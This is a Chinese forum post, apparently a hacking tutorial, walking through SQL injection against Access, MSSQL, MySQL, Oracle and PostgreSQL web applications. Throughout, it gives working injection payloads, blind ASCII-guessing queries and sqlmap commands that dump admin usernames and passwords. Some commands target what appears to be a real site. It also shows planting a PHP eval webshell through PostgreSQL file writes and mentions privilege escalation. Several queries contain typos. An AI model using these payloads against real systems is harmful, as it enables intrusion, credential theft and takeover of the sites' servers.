找回密码
 立即注册

QQ登录

只需一步,快速开始

Access数据库注入:
access数据库由微软发布的关系型数据库(小型的),安全性差。
access数据库后缀名位*.mdb,
asp中连接字符串应用——
“Driver={microsoft access driver(*.mdb)};dbq=*.mdb;uid=admin;pwd=pass”
  Dim conn
  Set conn = server.createobject(“adodb.connection”)
  conn.open “provider=Microsoft.ACE.OLEDB.12.0;” & “data source = ” & server.mappath(“bbs.mdb”)

打开此数据库的工具——
破障浏览器,辅臣浏览器

注入分析——
判断注入点(判断有没有带入查询)
,
and 1=1
and 1=2
or 1=1
or 1=2
and 1=23
1172529-20180306201733685-1177333666.png

查看是否带入查询,如果带入查询了,说明有注入漏洞

存在注入--判断数据库类型——
and exsits (select * from msysobjects) >0(判断access)
and exsits (select * from sysobjects) >0(判断SQL server)


判断数据库表
and exists (select * from admin)(如果不存在admin表,可以试试user或者useradmin)
1172529-20180306201927352-249619209.png

带入查询不报错说明有admin表
1172529-20180306202004924-1376986188.png

and exists (select admin from admin)查询是否有admin字段
1172529-20180306202033242-1737021210.png

and exists (select password from admin)查询是否有password字段
1172529-20180306202105352-969454380.png

判断字段长度 order by 22
1172529-20180306202132831-779874216.png


报错  and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin(猜解出admin和password的字段长度)
1172529-20180306202157154-885983871.png


and 1=2 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin(这样就把用户名密码猜解出来了,再去md5解密即可)
1172529-20180306202225510-1782923951.png


示例:sqlmap注入access数据库
1172529-20180306202306243-1694266188.png
1172529-20180306202353061-1237060925.png


root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --tables(爆表)
1172529-20180306202435221-834220964.png
1172529-20180306202548086-1445847442.png
1172529-20180306202641099-1161090619.png


对file表进行猜解
sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --tables --columns -T file
1172529-20180306202700154-1684566624.png


对字段进行猜解
root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --dump -T file -C "admin,password"
1172529-20180306202739170-1526427177.png

然后去解密即可
1172529-20180306202747242-1186034197.png

———————————————————————————————————————

Mssql(SQL server)数据库注入:(中小型企业)
SQL server由微软公司推出的关系型数据库,支持对称多处理器的结构 存储过程,具有自主的sql语言,支持图形化管理工具。
SQL server数据库文件后缀位xxx.mdf,日志文件后缀为xxx_log.ldf
基础语句select * from 表名(查询)
       sreate database 库名(创建)
         drop database 库明(删除库)
权限——
  sa权限:数据库操作,文件管理,命令执行,注册表读取等system
  db权限:文件管理,数据库操作等 users-adminstrators
  public权限:数据库操作 guest-users

调用分析——
  <% set conn =server.crateobiect(“adodb.connection”)
conn.open“provider=sqloledb;source=IP;uid=sa;pwd=xxxxxxxxx;database=xxx”
%>

注入语句:
判断是否有注入——
and (select Count(*) from [表名])>0(猜解表名)
  and (select Count(字段名) from 表名)>0(猜测字段)
  and (select top 1 len(字段名) from 表名)>0(猜测字段长度)

初步判断是否是mssql(SQL server)——
and user > 0

判断数据库系统——
and (select count(*) from sysobiects)> 0 mssql
and (select count(*) from msysobiects)> 0 access


实例:(其实建议手工测试,虽然工具跑得快,但是还是手工可以)
用穿山甲测试
1172529-20180306202855277-426395618.png


可直接写入一句话木马
1172529-20180306202924134-222849289.png


Sa权限可直接提权
1172529-20180306203016548-1661921822.png


如果命令不生效可先恢复一下spoa换一下类型
1172529-20180306203053822-1924768332.png
1172529-20180306203148003-1838880744.png

—————————————————————————————————————————

Mysql数据库注入:(中小型企业)
  瑞典推出的关系型数据库,现在已经被甲骨文公司收购,搭配php+apache+mysql

Mysql函数——
systm_user() 系统用户名
user() 用户名
current_use() 连接数据库的用户名
database() 数据库名
version() MySQL数据库版本
load_file() 转成16进制或者是10进制mysql读取本地文件的函数
@@datadir 读取数据库路径
@@basedir 读取MySQL安装路径
@@version_comoile_os 判断操作系统

PHP+MySQL链接——
<?php
$host=’localhost’; 数据库地址
$database=’sui’; 数据库名称
$user=’root’; 数据库账户
$pass=’’; 数据库密码
$webml=’/0/’; 安装文件夹
?>

判断字段长度——
  order by xx
  order by 21 正常,order by 22不正常,说明长度为21
  union secect 1-18 from information_schema.tables(报出错误)

示例:(MySQL5.0以上的版本)
先判断是否存在注入,and不行试试其他or之类的,然后判断字段长度
1172529-20180306203359079-1535584462.png

爆出错误2和3
1172529-20180306203410825-472070454.png

在报错位置查询想要的信息
猜解用户名
http://xxxx.xx.com/xxxxx/php?id=-5union secect  1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18from information_schema.tables
1172529-20180306203455883-867373040.png


猜解数据库名
http://xxxx.xx.com/xxxxx/php?id=-5 union secect 1,database()3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables
1172529-20180306203537352-1056798870.png
1172529-20180306203545818-1138913111.png


猜解表名
http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables  where_schema=0x6469616E(把库名转换成16进制)
1172529-20180306203626815-1766823174.png


爆出表名,爆出来后可以一个一个去尝试
1172529-20180306203658710-257049799.png


猜解列名
http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.column where_schema=0x797A36F054846172(把表名转换成16进制)
1172529-20180306203731941-131373653.png


猜解字段
http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(username,0x5c,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from yzsoumember(0x5c是一个\的16进制)
1172529-20180306203751527-2035059861.png


爆出管理员账号密码
1172529-20180306203809532-1094952921.png


—————————————————————————————————————————


Oracle数据库注入:(大型企业,政府,金融,证券)
Oracle数据库由美国甲骨文公司推出的,以分布式数据库为核心,是目前世界上使用最广范的数据库管理系统,支持多用户,事物的处理,移植性强。

Oracle数据库代码分析——
    id = request.getParameter(“id”);
String strSQL = “select title,content from news where id=” + id;
ResultSet rs = strt.executeQuery(strSQL);
while(rs.next())
{
String title = rs.getString(“time”);
String content = rs.getString(“conntent”);
Out.print(“<tr><td>”+ title +”<td><tr><tr><td><br/>” + content + “</td></tr>”);
}



示例:
猜解表名,存在则不报错and (select count(*) from admin)<>0
1172529-20180306203855386-1347172603.png


猜解user列名,存在则不报错and (select count(user) from admin)<>0
1172529-20180306203904996-1966406961.png


猜解pwd列名,存在则不报错and (select count(pwd) from admin)<>0
1172529-20180306203936133-1393931049.png


判断长度and (select count(*) from admin where length(name)>=5)=1(length()函数用于字符串长度,此处猜测用户名长度和5比较,意思就是猜测是否由5个字符组成)
1172529-20180306204007109-658580360.png


猜解第一个位and (select count(*) from admin where length(name)>=5)=1  and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1(substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知97为字符a)
1172529-20180306204030997-1806778600.png

猜解第二位and (select count(*) from admin where length(name)>=5)=1 and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1(重复以上操作,去配对ascii码表,可以判断账号为admin)
1172529-20180306204103906-18684997.png


相同方式猜解密码;and (select count(*) from admin where length(pwd)>=8)=1 返回正常,密码长度为8
1172529-20180306204136124-1459067061.png


猜解第一位and (select count(*) from admin where length(name)>=5)=1  and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1(返回正常,字符为a)
1172529-20180306204212449-1827624562.png


猜解第一位and (select count(*) from admin where length(name)>=5)=1  and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1(返回正常,字符为a)(重复以上操作,去配对ascii码表,可以判断账号为admin888)
1172529-20180306204222130-1218760510.png


ascii表
1172529-20180306204241123-620572459.png


测试登陆
1172529-20180306204300833-62336587.png

———————————————————————————————————————

Postgresql注入:(国内用的比较少)

示例:
http://www.xxx.jp/xxx/xx/php?id=307 and 1=cast(version() as int)(获取数据库版本信息,系统信息)
1172529-20180306204352296-108747313.png


http://www.xxx.jp/xxx/xx/php?id=307 and 1=cast(user||123 as int)(获取当前用户名称,Postgres用户相当于root用户权限)
1172529-20180306204413560-1069075525.png


http://www.xxx.jp/xxx/xx/php?id=307 ;create table xxx(w text not null);(创建表x)
1172529-20180306204447661-1535566897.png


插马——
  http://www.xxx.jp/xxx/xx/php?id=307;insert into xxx values($$<?php @eval($_POST[xxxxx]);?>$$);(向x表中插入一句话木马)
1172529-20180306204537066-659481231.png


写文件——
  http://www.xxx.jp/xxx/xx/php?id=307;copy xxx(w) to$$/home/kasugai_tochi/public_html/script/xxx.php$$;(将一句话木马保存为xxx.php文件,执行后用菜刀链接,然后上传webshll)
1172529-20180306204600199-2054215308.png

——————————————————————————————————————————————————

提交方式注入:
Get——
  get注入比较常见,如www.xxx.com/xx.asp?id=1

Post——
  post提交方式主要适用于表单的提交,用于登录框的注入,如www.xxx.com/admin.php

判断方式——
  在登陆框键入 ‘or’=1  
示例:(穿山甲跑)
加载表单
1172529-20180306204637536-1787464.png


把后台地粘贴上,开始跑
1172529-20180306204702619-347172242.png


加载表单
1172529-20180306204721387-217287027.png


它会默认把表单提交到根路劲,需要把它改成登陆路劲
1172529-20180306204754361-1313781148.png


Sqlmap跑——
示例:
1172529-20180306204826976-240961349.png
加上根目录路径,然后在往下操作
sqlmap -u http://www.xxxx.com/login.asp --data “xxxxxxx=1” --dbs
sqlmap -u http://www.xxxx.com/login.asp --data “xxxxxxx=1” --tables -D “列名”
sqlmap -u http://www.xxxx.com/login.asp --data “xxxxxxx=1” --columns -T “表名” -D “列名”
sqlmap -u http://www.xxxx.com/login.asp --data “xxxxxxx=1” --dump  -C “user,pass” -T “表名” -D “列名”

Cookie——
cookie提交用于账号密码的cookie缓存,还可以通过cookie注入来突破简单的防注入系统
示例:
1172529-20180306204858968-153925664.png



———————————————————————————————————————

搜索框注入:
使用的工具——burpsuite,sqlmap
思路——先使用burp抓搜索包,把抓到的包保存到xx.txt文件里,然后用sqlmap跑

示例:sqlmap -r xx.txt --tables(猜表名)
       sqlmap -r xx.txt --columns -T “admin”(猜列名)
       sqlmap -r xx.txt --C “admin,password” -T “manager” --dump -v 2(列内容)

找到搜索框
1172529-20180306204944807-1392738930.png

抓包
1172529-20180306204957879-1355875400.png

再跑sqlmap
1172529-20180306205018867-390446471.png

————————————————————————————————————————————————

伪静态注入:
  网站管理员耍小聪明,看着是静态页面,其实是动态页面

判断——
http://www.xxx.com/index.php 返回正常说明是php写的  (index.asp,index.jsp)

示例——
1172529-20180306205048444-1493760267.png
http://www.xxxx.cn/xxx_99,html(把伪静态链接构造成动态脚本语言)
http://www.xxxx.cn/xx.php?id=99 (asp?id=   jsp?id=  aspx?id=  不报错说明就是此语言)

分享至 : QQ空间
收藏

1 个回复

倒序浏览
超级强大的教程
回复 使用道具 举报
您需要登录后才可以回帖 登录 | 立即注册